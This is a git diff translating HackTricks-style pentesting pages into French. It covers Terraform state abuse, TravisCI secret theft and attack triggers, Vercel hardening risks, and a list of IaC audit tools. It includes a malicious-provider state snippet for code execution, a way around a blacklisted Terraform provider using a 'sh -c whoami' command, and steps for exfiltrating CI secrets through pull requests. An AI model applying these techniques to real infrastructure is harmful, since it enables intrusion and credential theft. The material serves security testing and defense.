+Pour une instance EC2, modifier le type de l'instance suffit à faire en sorte que terraform la supprime et la recrée.
 
 ### RCE
 
-It's also possible to [create a custom provider](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) and just replace one of the providers in the terraform state file for the malicious one or add an empty resource with the malicious provider. Example from the original research:
-
+Il est également possible de [créer un fournisseur personnalisé](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) et de remplacer simplement l'un des fournisseurs dans le fichier d'état terraform par le malveillant ou d'ajouter une ressource vide avec le fournisseur malveillant. Exemple de la recherche originale :
 ```json
 "resources": [
 {
-  "mode": "managed",
-  "type": "scaffolding_example",
-  "name": "example",
-  "provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]",
-  "instances": [
+"mode": "managed",
+"type": "scaffolding_example",
+"name": "example",
+"provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]",
+"instances": [
 
-  ]
+]
 },
 ```
+### Remplacer le fournisseur sur liste noire
 
-### Replace blacklisted provider
-
-In case you encounter a situation where `hashicorp/external` was blacklisted, you can re-implement the `external` provider by doing the following. Note: We use a fork of external provider published by https://registry.terraform.io/providers/nazarewk/external/latest. You can publish your own fork or re-implementation as well.
-
+Dans le cas où vous rencontrez une situation où `hashicorp/external` a été mis sur liste noire, vous pouvez réimplémenter le fournisseur `external` en procédant comme suit. Remarque : Nous utilisons un fork du fournisseur externe publié par https://registry.terraform.io/providers/nazarewk/external/latest. Vous pouvez également publier votre propre fork ou réimplémentation.
 ```terraform
 terraform {
-  required_providers {
-    external = {
-      source  = "nazarewk/external"
-      version = "3.0.0"
-    }
-  }
+required_providers {
+external = {
+source  = "nazarewk/external"
+version = "3.0.0"
+}
+}
 }
 ```
-
-Then you can use `external` as per normal.
-
+Ensuite, vous pouvez utiliser `external` comme d'habitude.
 ```terraform
 data "external" "example" {
-  program = ["sh", "-c", "whoami"]
+program = ["sh", "-c", "whoami"]
 }
 ```
-
-## Automatic Audit Tools
+## Outils d'Audit Automatiques
 
 ### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/)
 
-Snyk offers a comprehensive Infrastructure as Code (IaC) scanning solution that detects vulnerabilities and misconfigurations in Terraform, CloudFormation, Kubernetes, and other IaC formats.
-
-- **Features:**
-  - Real-time scanning for security vulnerabilities and compliance issues.
-  - Integration with version control systems (GitHub, GitLab, Bitbucket).
-  - Automated fix pull requests.
-  - Detailed remediation advice.
-- **Sign Up:** Create an account on [Snyk](https://snyk.io/).
+Snyk propose une solution complète de scan Infrastructure as Code (IaC) qui détecte les vulnérabilités et les erreurs de configuration dans Terraform, CloudFormation, Kubernetes et d'autres formats IaC.
 
+- **Fonctionnalités :**
+- Scan en temps réel pour les vulnérabilités de sécurité et les problèmes de conformité.
+- Intégration avec les systèmes de contrôle de version (GitHub, GitLab, Bitbucket).
+- Demandes de tirage de correction automatisées.
+- Conseils détaillés pour la remédiation.
+- **Inscription :** Créez un compte sur [Snyk](https://snyk.io/).
 ```bash
 brew tap snyk/tap
 brew install snyk
 snyk auth
 snyk iac test /path/to/terraform/code
 ```
-
 ### [Checkov](https://github.com/bridgecrewio/checkov) <a href="#install-checkov-from-pypi" id="install-checkov-from-pypi"></a>
 
-**Checkov** is a static code analysis tool for infrastructure as code (IaC) and also a software composition analysis (SCA) tool for images and open source packages.
+**Checkov** est un outil d'analyse de code statique pour l'infrastructure en tant que code (IaC) et également un outil d'analyse de composition logicielle (SCA) pour les images et les packages open source.
 
-It scans cloud infrastructure provisioned using [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), or [OpenTofu](https://opentofu.org/) and detects security and compliance misconfigurations using graph-based scanning.
-
-It performs [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) which is a scan of open source packages and images for Common Vulnerabilities and Exposures (CVEs).
+Il analyse l'infrastructure cloud provisionnée à l'aide de [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), ou [OpenTofu](https://opentofu.org/) et détecte les erreurs de configuration de sécurité et de conformité à l'aide d'une analyse basée sur des graphes.
 
+Il effectue une [analyse de composition logicielle (SCA)](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) qui est une analyse des packages open source et des images pour les vulnérabilités et expositions communes (CVE).
 ```bash
 pip install checkov
 checkov -d /path/to/folder
 ```
-
 ### [terraform-compliance](https://github.com/terraform-compliance/cli)
 
-From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` is a lightweight, security and compliance focused test framework against terraform to enable negative testing capability for your infrastructure-as-code.
+D'après les [**docs**](https://github.com/terraform-compliance/cli) : `terraform-compliance` est un cadre de test léger, axé sur la sécurité et la conformité, contre terraform pour permettre la capacité de test négatif pour votre infrastructure-as-code.
 
-- **compliance:** Ensure the implemented code is following security standards, your own custom standards
-- **behaviour driven development:** We have BDD for nearly everything, why not for IaC ?
-- **portable:** just install it from `pip` or run it via `docker`. See [Installation](https://terraform-compliance.com/pages/installation/)
-- **pre-deploy:** it validates your code before it is deployed
-- **easy to integrate:** it can run in your pipeline (or in git hooks) to ensure all deployments are validated.
-- **segregation of duty:** you can keep your tests in a different repository where a separate team is responsible.
+- **conformité :** Assurez-vous que le code implémenté respecte les normes de sécurité, vos propres normes personnalisées
+- **développement dirigé par le comportement :** Nous avons BDD pour presque tout, pourquoi pas pour IaC ?
+- **portable :** installez-le simplement via `pip` ou exécutez-le via `docker`. Voir [Installation](https://terraform-compliance.com/pages/installation/)
+- **pré-déploiement :** il valide votre code avant qu'il ne soit déployé
+- **facile à intégrer :** il peut s'exécuter dans votre pipeline (ou dans des hooks git) pour garantir que tous les déploiements sont validés.
+- **séparation des tâches :** vous pouvez garder vos tests dans un dépôt différent où une équipe distincte est responsable.
 
 > [!NOTE]
-> Unfortunately if the code is using some providers you don't have access to you won't be able to perform the `terraform plan` and run this tool.
-
+> Malheureusement, si le code utilise certains fournisseurs auxquels vous n'avez pas accès, vous ne pourrez pas effectuer le `terraform plan` et exécuter cet outil.
 ```bash
 pip install terraform-compliance
 terraform plan -out=plan.out
 terraform-compliance -f /path/to/folder
 ```
-
 ### [tfsec](https://github.com/aquasecurity/tfsec)
 
-From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec uses static analysis of your terraform code to spot potential misconfigurations.
-
-- ☁️ Checks for misconfigurations across all major (and some minor) cloud providers
-- ⛔ Hundreds of built-in rules
-- 🪆 Scans modules (local and remote)
-- ➕ Evaluates HCL expressions as well as literal values
-- ↪️ Evaluates Terraform functions e.g. `concat()`
-- 🔗 Evaluates relationships between Terraform resources
-- 🧰 Compatible with the Terraform CDK
-- 🙅 Applies (and embellishes) user-defined Rego policies
-- 📃 Supports multiple output formats: lovely (default), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
-- 🛠️ Configurable (via CLI flags and/or config file)
-- ⚡ Very fast, capable of quickly scanning huge repositories
+D'après les [**docs**](https://github.com/aquasecurity/tfsec) : tfsec utilise l'analyse statique de votre code terraform pour repérer les configurations incorrectes potentielles.
 
+- ☁️ Vérifie les configurations incorrectes sur tous les principaux (et certains mineurs) fournisseurs de cloud
+- ⛔ Des centaines de règles intégrées
+- 🪆 Scanne les modules (locaux et distants)
+- ➕ Évalue les expressions HCL ainsi que les valeurs littérales
+- ↪️ Évalue les fonctions Terraform par exemple `concat()`
+- 🔗 Évalue les relations entre les ressources Terraform
+- 🧰 Compatible avec le Terraform CDK
+- 🙅 Applique (et embellit) les politiques Rego définies par l'utilisateur
+- 📃 Prend en charge plusieurs formats de sortie : lovely (par défaut), JSON, SARIF, CSV, CheckStyle, JUnit, texte, Gif.
+- 🛠️ Configurable (via des drapeaux CLI et/ou un fichier de configuration)
+- ⚡ Très rapide, capable de scanner rapidement d'énormes dépôts
 ```bash
 brew install tfsec
 tfsec /path/to/folder
 ```
-
 ### [KICKS](https://github.com/Checkmarx/kics)
 
-Find security vulnerabilities, compliance issues, and infrastructure misconfigurations early in the development cycle of your infrastructure-as-code with **KICS** by Checkmarx.
-
-**KICS** stands for **K**eeping **I**nfrastructure as **C**ode **S**ecure, it is open source and is a must-have for any cloud native project.
+Trouvez des vulnérabilités de sécurité, des problèmes de conformité et des erreurs de configuration d'infrastructure tôt dans le cycle de développement de votre infrastructure-as-code avec **KICS** de Checkmarx.
 
+**KICS** signifie **K**eeping **I**nfrastructure as **C**ode **S**ecure, il est open source et est indispensable pour tout projet cloud natif.
 ```bash
 docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
 ```
-
 ### [Terrascan](https://github.com/tenable/terrascan)
 
-From the [**docs**](https://github.com/tenable/terrascan): Terrascan is a static code analyzer for Infrastructure as Code. Terrascan allows you to:
-
-- Seamlessly scan infrastructure as code for misconfigurations.
-- Monitor provisioned cloud infrastructure for configuration changes that introduce posture drift, and enables reverting to a secure posture.
-- Detect security vulnerabilities and compliance violations.
-- Mitigate risks before provisioning cloud native infrastructure.
-- Offers flexibility to run locally or integrate with your CI\CD.
+D'après les [**docs**](https://github.com/tenable/terrascan) : Terrascan est un analyseur de code statique pour l'Infrastructure as Code. Terrascan vous permet de :
 
+- Scanner sans effort l'infrastructure en tant que code pour des erreurs de configuration.
+- Surveiller l'infrastructure cloud provisionnée pour des changements de configuration qui introduisent une dérive de posture, et permet de revenir à une posture sécurisée.
+- Détecter des vulnérabilités de sécurité et des violations de conformité.
+- Atténuer les risques avant de provisionner une infrastructure cloud native.
+- Offrir la flexibilité de fonctionner localement ou de s'intégrer à votre CI\CD.
 ```bash
 brew install terrascan
 ```
-
-## References
+## Références
 
 - [Atlantis Security](atlantis-security.md)
 - [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce)
@@ -310,7 +280,3 @@ brew install terrascan
 - [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/)
 
 {{#include ../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/todo.md b/src/pentesting-ci-cd/todo.md
index 63a3bb5c8..c4121e0b0 100644
--- a/src/pentesting-ci-cd/todo.md
+++ b/src/pentesting-ci-cd/todo.md
@@ -2,7 +2,7 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-Github PRs are welcome explaining how to (ab)use those platforms from an attacker perspective
+Les PRs Github sont les bienvenues pour expliquer comment (mal)utiliser ces plateformes du point de vue d'un attaquant
 
 - Drone
 - TeamCity
@@ -11,10 +11,6 @@ Github PRs are welcome explaining how to (ab)use those platforms from an attacke
 - Rancher
 - Mesosphere
 - Radicle
-- Any other CI/CD platform...
+- Toute autre plateforme CI/CD...
 
 {{#include ../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/travisci-security/README.md b/src/pentesting-ci-cd/travisci-security/README.md
index cff623392..f7277e4ca 100644
--- a/src/pentesting-ci-cd/travisci-security/README.md
+++ b/src/pentesting-ci-cd/travisci-security/README.md
@@ -1,69 +1,65 @@
-# TravisCI Security
+# TravisCI Sécurité
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## What is TravisCI
+## Qu'est-ce que TravisCI
 
-**Travis CI** is a **hosted** or on **premises** **continuous integration** service used to build and test software projects hosted on several **different git platform**.
+**Travis CI** est un service de **intégration continue** **hébergé** ou sur **site** utilisé pour construire et tester des projets logiciels hébergés sur plusieurs **différentes plateformes git**.
 
 {{#ref}}
 basic-travisci-information.md
 {{#endref}}
 
-## Attacks
+## Attaques
 
-### Triggers
+### Déclencheurs
 
-To launch an attack you first need to know how to trigger a build. By default TravisCI will **trigger a build on pushes and pull requests**:
+Pour lancer une attaque, vous devez d'abord savoir comment déclencher une construction. Par défaut, TravisCI **déclenchera une construction lors des envois et des demandes de tirage** :
 
 ![](<../../images/image (145).png>)
 
-#### Cron Jobs
+#### Tâches Cron
 
-If you have access to the web application you can **set crons to run the build**, this could be useful for persistence or to trigger a build:
+Si vous avez accès à l'application web, vous pouvez **définir des tâches cron pour exécuter la construction**, cela pourrait être utile pour la persistance ou pour déclencher une construction :
 
 ![](<../../images/image (243).png>)
 
 > [!NOTE]
-> It looks like It's not possible to set crons inside the `.travis.yml` according to [this](https://github.com/travis-ci/travis-ci/issues/9162).
+> Il semble qu'il ne soit pas possible de définir des tâches cron à l'intérieur du `.travis.yml` selon [ceci](https://github.com/travis-ci/travis-ci/issues/9162).
 
-### Third Party PR
+### PR de tiers
 
-TravisCI by default disables sharing env variables with PRs coming from third parties, but someone might enable it and then you could create PRs to the repo and exfiltrate the secrets:
+TravisCI désactive par défaut le partage des variables d'environnement avec les PR provenant de tiers, mais quelqu'un pourrait l'activer et vous pourriez alors créer des PR au dépôt et exfiltrer les secrets :
 
 ![](<../../images/image (208).png>)
 
 ### Dumping Secrets
 
-As explained in the [**basic information**](basic-travisci-information.md) page, there are 2 types of secrets. **Environment Variables secrets** (which are listed in the web page) and **custom encrypted secrets**, which are stored inside the `.travis.yml` file as base64 (note that both as stored encrypted will end as env variables in the final machines).
+Comme expliqué dans la page [**informations de base**](basic-travisci-information.md), il existe 2 types de secrets. Les **secrets des variables d'environnement** (qui sont listés sur la page web) et les **secrets chiffrés personnalisés**, qui sont stockés dans le fichier `.travis.yml` sous forme de base64 (notez que les deux, lorsqu'ils sont stockés chiffrés, finiront par être des variables d'environnement dans les machines finales).
 
-- To **enumerate secrets** configured as **Environment Variables** go to the **settings** of the **project** and check the list. However, note that all the project env variables set here will appear when triggering a build.
-- To enumerate the **custom encrypted secrets** the best you can do is to **check the `.travis.yml` file**.
-- To **enumerate encrypted files** you can check for **`.enc` files** in the repo, for lines similar to `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` in the config file, or for **encrypted iv and keys** in the **Environment Variables** such as:
+- Pour **énumérer les secrets** configurés comme **variables d'environnement**, allez dans les **paramètres** du **projet** et vérifiez la liste. Cependant, notez que toutes les variables d'environnement du projet définies ici apparaîtront lors du déclenchement d'une construction.
+- Pour énumérer les **secrets chiffrés personnalisés**, le mieux que vous puissiez faire est de **vérifier le fichier `.travis.yml`**.
+- Pour **énumérer les fichiers chiffrés**, vous pouvez vérifier les **fichiers `.enc`** dans le dépôt, pour des lignes similaires à `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` dans le fichier de configuration, ou pour des **iv et clés chiffrés** dans les **variables d'environnement** telles que :
 
 ![](<../../images/image (81).png>)
 
-### TODO:
+### À FAIRE :
 
-- Example build with reverse shell running on Windows/Mac/Linux
-- Example build leaking the env base64 encoded in the logs
+- Exemple de construction avec un shell inversé fonctionnant sur Windows/Mac/Linux
+- Exemple de construction fuyant l'encodage base64 des env dans les journaux
 
 ### TravisCI Enterprise
 
-If an attacker ends in an environment which uses **TravisCI enterprise** (more info about what this is in the [**basic information**](basic-travisci-information.md#travisci-enterprise)), he will be able to **trigger builds in the the Worker.** This means that an attacker will be able to move laterally to that server from which he could be able to:
+Si un attaquant se retrouve dans un environnement utilisant **TravisCI enterprise** (plus d'infos sur ce que c'est dans les [**informations de base**](basic-travisci-information.md#travisci-enterprise)), il pourra **déclencher des constructions dans le Worker.** Cela signifie qu'un attaquant pourra se déplacer latéralement vers ce serveur à partir duquel il pourrait être capable de :
 
-- escape to the host?
-- compromise kubernetes?
-- compromise other machines running in the same network?
-- compromise new cloud credentials?
+- échapper à l'hôte ?
+- compromettre kubernetes ?
+- compromettre d'autres machines fonctionnant sur le même réseau ?
+- compromettre de nouveaux identifiants cloud ?
 
-## References
+## Références
 
 - [https://docs.travis-ci.com/user/encrypting-files/](https://docs.travis-ci.com/user/encrypting-files/)
 - [https://docs.travis-ci.com/user/best-practices-security](https://docs.travis-ci.com/user/best-practices-security)
 
 {{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md
index 46b10bf38..61e25beac 100644
--- a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md
+++ b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md
@@ -1,48 +1,45 @@
-# Basic TravisCI Information
+# Informations de base sur TravisCI
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Access
+## Accès
 
-TravisCI directly integrates with different git platforms such as Github, Bitbucket, Assembla, and Gitlab. It will ask the user to give TravisCI permissions to access the repos he wants to integrate with TravisCI.
+TravisCI s'intègre directement avec différentes plateformes git telles que Github, Bitbucket, Assembla et Gitlab. Il demandera à l'utilisateur de donner à TravisCI les permissions d'accéder aux dépôts qu'il souhaite intégrer avec TravisCI.
 
-For example, in Github it will ask for the following permissions:
+Par exemple, dans Github, il demandera les permissions suivantes :
 
-- `user:email` (read-only)
-- `read:org` (read-only)
-- `repo`: Grants read and write access to code, commit statuses, collaborators, and deployment statuses for public and private repositories and organizations.
+- `user:email` (lecture seule)
+- `read:org` (lecture seule)
+- `repo` : Accorde un accès en lecture et en écriture au code, aux statuts de commit, aux collaborateurs et aux statuts de déploiement pour les dépôts et organisations publics et privés.
 
-## Encrypted Secrets
+## Secrets chiffrés
 
-### Environment Variables
+### Variables d'environnement
 
-In TravisCI, as in other CI platforms, it's possible to **save at repo level secrets** that will be saved encrypted and be **decrypted and push in the environment variable** of the machine executing the build.
+Dans TravisCI, comme dans d'autres plateformes CI, il est possible de **sauvegarder au niveau du dépôt des secrets** qui seront sauvegardés chiffrés et seront **décryptés et poussés dans la variable d'environnement** de la machine exécutant la build.
 
 ![](<../../images/image (203).png>)
 
-It's possible to indicate the **branches to which the secrets are going to be available** (by default all) and also if TravisCI **should hide its value** if it appears **in the logs** (by default it will).
+Il est possible d'indiquer les **branches auxquelles les secrets seront disponibles** (par défaut toutes) et aussi si TravisCI **doit cacher sa valeur** si elle apparaît **dans les logs** (par défaut, il le fera).
 
-### Custom Encrypted Secrets
+### Secrets chiffrés personnalisés
 
-For **each repo** TravisCI generates an **RSA keypair**, **keeps** the **private** one, and makes the repository’s **public key available** to those who have **access** to the repository.
-
-You can access the public key of one repo with:
+Pour **chaque dépôt**, TravisCI génère une **paire de clés RSA**, **garde** la **clé privée**, et rend la **clé publique** du dépôt disponible pour ceux qui ont **accès** au dépôt.
 
+Vous pouvez accéder à la clé publique d'un dépôt avec :
 ```
 travis pubkey -r <owner>/<repo_name>
 travis pubkey -r carlospolop/t-ci-test
 ```
-
-Then, you can use this setup to **encrypt secrets and add them to your `.travis.yaml`**. The secrets will be **decrypted when the build is run** and accessible in the **environment variables**.
+Ensuite, vous pouvez utiliser cette configuration pour **chiffrer des secrets et les ajouter à votre `.travis.yaml`**. Les secrets seront **déchiffrés lorsque la construction sera exécutée** et accessibles dans les **variables d'environnement**.
 
 ![](<../../images/image (139).png>)
 
-Note that the secrets encrypted this way won't appear listed in the environmental variables of the settings.
+Notez que les secrets chiffrés de cette manière n'apparaîtront pas dans les variables d'environnement des paramètres.
 
-### Custom Encrypted Files
-
-Same way as before, TravisCI also allows to **encrypt files and then decrypt them during the build**:
+### Fichiers Chiffrés Personnalisés
 
+De la même manière que précédemment, TravisCI permet également de **chiffrer des fichiers puis de les déchiffrer pendant la construction** :
 ```
 travis encrypt-file super_secret.txt -r carlospolop/t-ci-test
 
@@ -52,7 +49,7 @@ storing secure env variables for decryption
 
 Please add the following to your build script (before_install stage in your .travis.yml, for instance):
 
-    openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d
+openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d
 
 Pro Tip: You can add it automatically by running with --add.
 
@@ -60,37 +57,32 @@ Make sure to add super_secret.txt.enc to the git repository.
 Make sure not to add super_secret.txt to the git repository.
 Commit all changes to your .travis.yml.
 ```
-
-Note that when encrypting a file 2 Env Variables will be configured inside the repo such as:
+Notez que lors du chiffrement d'un fichier, 2 variables d'environnement seront configurées dans le dépôt, telles que :
 
 ![](<../../images/image (170).png>)
 
 ## TravisCI Enterprise
 
-Travis CI Enterprise is an **on-prem version of Travis CI**, which you can deploy **in your infrastructure**. Think of the ‘server’ version of Travis CI. Using Travis CI allows you to enable an easy-to-use Continuous Integration/Continuous Deployment (CI/CD) system in an environment, which you can configure and secure as you want to.
+Travis CI Enterprise est une **version sur site de Travis CI**, que vous pouvez déployer **dans votre infrastructure**. Pensez à la version ‘serveur’ de Travis CI. L'utilisation de Travis CI vous permet d'activer un système d'intégration continue/déploiement continu (CI/CD) facile à utiliser dans un environnement que vous pouvez configurer et sécuriser comme vous le souhaitez.
 
-**Travis CI Enterprise consists of two major parts:**
+**Travis CI Enterprise se compose de deux parties principales :**
 
-1. TCI **services** (or TCI Core Services), responsible for integration with version control systems, authorizing builds, scheduling build jobs, etc.
-2. TCI **Worker** and build environment images (also called OS images).
+1. Les **services TCI** (ou services de base TCI), responsables de l'intégration avec les systèmes de contrôle de version, de l'autorisation des builds, de la planification des tâches de build, etc.
+2. Le **Worker TCI** et les images d'environnement de build (également appelées images OS).
 
-**TCI Core services require the following:**
+**Les services de base TCI nécessitent les éléments suivants :**
 
-1. A **PostgreSQL11** (or later) database.
-2. An infrastructure to deploy a Kubernetes cluster; it can be deployed in a server cluster or in a single machine if required
-3. Depending on your setup, you may want to deploy and configure some of the components on your own, e.g., RabbitMQ - see the [Setting up Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) for more details.
+1. Une base de données **PostgreSQL11** (ou ultérieure).
+2. Une infrastructure pour déployer un cluster Kubernetes ; il peut être déployé dans un cluster de serveurs ou sur une seule machine si nécessaire.
+3. En fonction de votre configuration, vous souhaiterez peut-être déployer et configurer certains des composants par vous-même, par exemple, RabbitMQ - consultez le [Configuration de Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) pour plus de détails.
 
-**TCI Worker requires the following:**
+**Le Worker TCI nécessite les éléments suivants :**
 
-1. An infrastructure where a docker image containing the **Worker and a linked build image can be deployed**.
-2. Connectivity to certain Travis CI Core Services components - see the [Setting Up Worker](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) for more details.
+1. Une infrastructure où une image docker contenant le **Worker et une image de build liée peuvent être déployées**.
+2. Une connectivité à certains composants des services de base Travis CI - consultez le [Configuration du Worker](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) pour plus de détails.
 
-The amount of deployed TCI Worker and build environment OS images will determine the total concurrent capacity of Travis CI Enterprise deployment in your infrastructure.
+Le nombre d'images OS de Worker TCI et d'environnement de build déployées déterminera la capacité totale concurrente du déploiement de Travis CI Enterprise dans votre infrastructure.
 
 ![](<../../images/image (199).png>)
 
 {{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/vercel-security.md b/src/pentesting-ci-cd/vercel-security.md
index 16dc93da7..1bc8b9120 100644
--- a/src/pentesting-ci-cd/vercel-security.md
+++ b/src/pentesting-ci-cd/vercel-security.md
@@ -2,440 +2,436 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-## Basic Information
+## Informations de base
 
-In Vercel a **Team** is the complete **environment** that belongs a client and a **project** is an **application**.
+Dans Vercel, une **équipe** est l'**environnement** complet qui appartient à un client et un **projet** est une **application**.
 
-For a hardening review of **Vercel** you need to ask for a user with **Viewer role permission** or at least **Project viewer permission over the projects** to check (in case you only need to check the projects and not the Team configuration also).
+Pour un examen de durcissement de **Vercel**, vous devez demander un utilisateur avec la **permission de rôle de visualiseur** ou au moins **la permission de visualiseur de projet sur les projets** à vérifier (au cas où vous n'avez besoin que de vérifier les projets et non la configuration de l'équipe également).
 
-## Project Settings
+## Paramètres du projet
 
-### General
+### Général
 
-**Purpose:** Manage fundamental project settings such as project name, framework, and build configurations.
+**Objectif :** Gérer les paramètres fondamentaux du projet tels que le nom du projet, le framework et les configurations de build.
 
-#### Security Configurations:
+#### Configurations de sécurité :
 
-- **Transfer**
-  - **Misconfiguration:** Allows to transfer the project to another team
-  - **Risk:** An attacker could steal the project
-- **Delete Project**
-  - **Misconfiguration:** Allows to delete the project&#x20;
-  - **Risk:** Delete the prject
+- **Transfert**
+- **Mauvaise configuration :** Permet de transférer le projet à une autre équipe
+- **Risque :** Un attaquant pourrait voler le projet
+- **Supprimer le projet**
+- **Mauvaise configuration :** Permet de supprimer le projet&#x20;
+- **Risque :** Supprimer le projet
 
 ---
 
-### Domains
+### Domaines
 
-**Purpose:** Manage custom domains, DNS settings, and SSL configurations.
+**Objectif :** Gérer les domaines personnalisés, les paramètres DNS et les configurations SSL.
 
-#### Security Configurations:
+#### Configurations de sécurité :
 
-- **DNS Configuration Errors**
-  - **Misconfiguration:** Incorrect DNS records (A, CNAME) pointing to malicious servers.
-  - **Risk:** Domain hijacking, traffic interception, and phishing attacks.
-- **SSL/TLS Certificate Management**
-  - **Misconfiguration:** Using weak or expired SSL/TLS certificates.
-  - **Risk:** Vulnerable to man-in-the-middle (MITM) attacks, compromising data integrity and confidentiality.
-- **DNSSEC Implementation**
-  - **Misconfiguration:** Failing to enable DNSSEC or incorrect DNSSEC settings.
-  - **Risk:** Increased susceptibility to DNS spoofing and cache poisoning attacks.
-- **Environment used per domain**
-  - **Misconfiguration:** Change the environment used by the domain in production.
-  - **Risk:** Expose potential secrets or functionalities taht shouldn't be available in production.
+- **Erreurs de configuration DNS**
+- **Mauvaise configuration :** Enregistrements DNS incorrects (A, CNAME) pointant vers des serveurs malveillants.
+- **Risque :** Détournement de domaine, interception de trafic et attaques de phishing.
+- **Gestion des certificats SSL/TLS**
+- **Mauvaise configuration :** Utilisation de certificats SSL/TLS faibles ou expirés.
+- **Risque :** Vulnérable aux attaques de type homme du milieu (MITM), compromettant l'intégrité et la confidentialité des données.
+- **Mise en œuvre de DNSSEC**
+- **Mauvaise configuration :** Échec de l'activation de DNSSEC ou paramètres DNSSEC incorrects.
+- **Risque :** Sensibilité accrue au spoofing DNS et aux attaques de poisoning de cache.
+- **Environnement utilisé par domaine**
+- **Mauvaise configuration :** Changer l'environnement utilisé par le domaine en production.
+- **Risque :** Exposer des secrets ou des fonctionnalités potentielles qui ne devraient pas être disponibles en production.
 
 ---
 
-### Environments
+### Environnements
 
-**Purpose:** Define different environments (Development, Preview, Production) with specific settings and variables.
+**Objectif :** Définir différents environnements (Développement, Prévisualisation, Production) avec des paramètres et des variables spécifiques.
 
-#### Security Configurations:
+#### Configurations de sécurité :
 
-- **Environment Isolation**
-  - **Misconfiguration:** Sharing environment variables across environments.
-  - **Risk:** Leakage of production secrets into development or preview environments, increasing exposure.
-- **Access to Sensitive Environments**
-  - **Misconfiguration:** Allowing broad access to production environments.
-  - **Risk:** Unauthorized changes or access to live applications, leading to potential downtimes or data breaches.
+- **Isolation des environnements**
+- **Mauvaise configuration :** Partage des variables d'environnement entre les environnements.
+- **Risque :** Fuite de secrets de production dans les environnements de développement ou de prévisualisation, augmentant l'exposition.
+- **Accès aux environnements sensibles**
+- **Mauvaise configuration :** Autoriser un accès large aux environnements de production.
